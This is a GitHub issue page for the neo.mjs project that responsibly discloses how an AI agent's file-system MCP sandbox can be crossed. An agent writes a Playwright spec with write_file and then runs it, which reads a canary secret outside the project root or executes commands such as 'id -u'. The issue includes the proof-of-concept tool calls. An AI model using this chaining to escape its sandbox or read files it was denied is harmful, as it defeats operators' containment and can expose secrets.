LearnNewsExamplesServices
Frontmatter
id16481
titlefix(ai): file-system MCP sandbox is crossed by write_file + run_playwright_test
stateClosed
labels
bugaiarchitecture
assigneesneo-opus-grace
createdAtAug 4, 2026, 5:40 AM
updatedAtAug 11, 2026, 7:46 PM
githubUrlhttps://github.com/neomjs/neo/issues/16481
authornovice-22
commentsCount6
parentIssuenull
subIssues[]
subIssuesCompleted0
subIssuesTotal0
contentTrust
projected
quarantined0
signals[]
blockedBy[]
blocking[]
closedAtAug 11, 2026, 7:46 PM

fix(ai): file-system MCP sandbox is crossed by write_file + run_playwright_test

Closed Backlog/active-chunk-12 bugaiarchitecture
novice-22
novice-22 commented on Aug 4, 2026, 5:40 AM

The file-system MCP server states a containment guarantee in two places. openapi.yaml describes it as "heavily sandboxed file system manipulation", and the guard throws 403 Forbidden: Path traversal detected. Operation jailed to <root>.

That guarantee does not hold when write_file and run_playwright_test are used together, and neither call violates any guard.

  • write_file accepts any path inside the project root.
  • run_playwright_test executes a Playwright spec. A spec is JavaScript, so executing it runs whatever it contains.

Observed on current dev, which contains 5acc564 and #16235.

Observed

Absolute paths are redacted to <root>. The canary is /tmp/OUTSIDE_SECRET.txt, outside the project root, containing SECRET-OUTSIDE-THE-PROJECT-ROOT.

The guard works when approached directly

read_file({absolutePath: "/tmp/OUTSIDE_SECRET.txt"})
  -> REJECTED
     403 Forbidden: Path traversal detected. Operation jailed to <root>

Retrieval in two steps

write_file({
  absolutePath: "<root>/test/playwright/exfil-canary.spec.mjs",
  content     : "import fs from 'fs';
                 fs.copyFileSync('/tmp/OUTSIDE_SECRET.txt', '<root>/exfil-landed.txt');"
})
  -> allowed (the target is inside the root)

run_playwright_test({absolutePath: "<root>/test/playwright/exfil-canary.spec.mjs"})

read_file({absolutePath: "<root>/exfil-landed.txt"})
  -> "SECRET-OUTSIDE-THE-PROJECT-ROOT"

The third call is an ordinary, fully permitted request, and the guard behaves correctly on it. The content it returns is the content the guard refused in the first case.

Retrieval in one step, through the tool's own return value

write_file({
  absolutePath: "<root>/test/playwright/exfil-canary.spec.mjs",
  content     : "import fs from 'fs';
                 process.stdout.write('[LEAK] ' + fs.readFileSync('/tmp/OUTSIDE_SECRET.txt','utf-8'));"
})

run_playwright_test({absolutePath: "<root>/test/playwright/exfil-canary.spec.mjs"})
  -> "Test Failed:
      [LEAK] SECRET-OUTSIDE-THE-PROJECT-ROOT
      ..."

runPlaywrightTest returns the child process's stdout to the caller, so the file contents are handed straight back. No intermediate file is needed.

Arbitrary commands, not only file reads

write_file({
  absolutePath: "<root>/test/playwright/uid-canary.spec.mjs",
  content     : "import {execSync} from 'child_process';
                 execSync('id -u > /tmp/UID_PROOF');"
})

run_playwright_test({absolutePath: "<root>/test/playwright/uid-canary.spec.mjs"})

/tmp/UID_PROOF -> "1000"

Preconditions

  1. The caller can invoke both write_file and run_playwright_test. Both are default tools of this server.
  2. @playwright/test is installed. It is a devDependency of neo.mjs, so it is present in a normal development checkout of the project this server is built for. It would not be present if neo.mjs were installed as a dependency of another application.
  3. The agent is induced to make both calls.

Condition 2 is a genuine constraint. This is not unconditional.

This is separate from #16231

I re-ran the payloads from that ticket against dev. All are blocked. I also tried three bypasses against the new guard, all blocked:

  • a filename shaped like a node flag — the path is always absolute, so it cannot be read as a flag
  • a sibling directory whose name prefixes the root (<root>-evil/) — blocked by the path.relative containment check
  • an in-root symlink pointing outside — blocked by the realpath canonicalization

execFile does what it was written to do. The behaviour described here never touches a shell, so it is not what that change was addressing.

Which direction to fix

This reads as a policy decision rather than a defect with one obvious patch. Three options I can see:

  1. Keep write_file out of test/playwright/
  2. Have run_playwright_test refuse specs that the tool itself wrote
  3. Drop the containment wording from openapi.yaml and the 403 message, and document the tool as executing arbitrary project code

One further observation

runPlaywrightTest limits execution with safePath.includes('test/playwright/'). This is a substring test rather than a containment test, so a directory such as <root>/atest/playwright/ satisfies it. It does not cross the sandbox boundary, since the jail check runs first, and it grants nothing that write_file into the real test directory would not already grant. Noting it for completeness rather than as a separate issue.


One separate note: 5acc564 is on dev but has not appeared in a release. npm latest is still 13.1.0 (2026-07-03), so an install lands on the pre-fix code. Is a release planned?

tobiu referenced in commit 88c77fc - "fix(ai): the file-system surface stops promising containment it does not have (#16481) (#16976) on Aug 11, 2026, 7:46 PM
tobiu closed this issue on Aug 11, 2026, 7:46 PM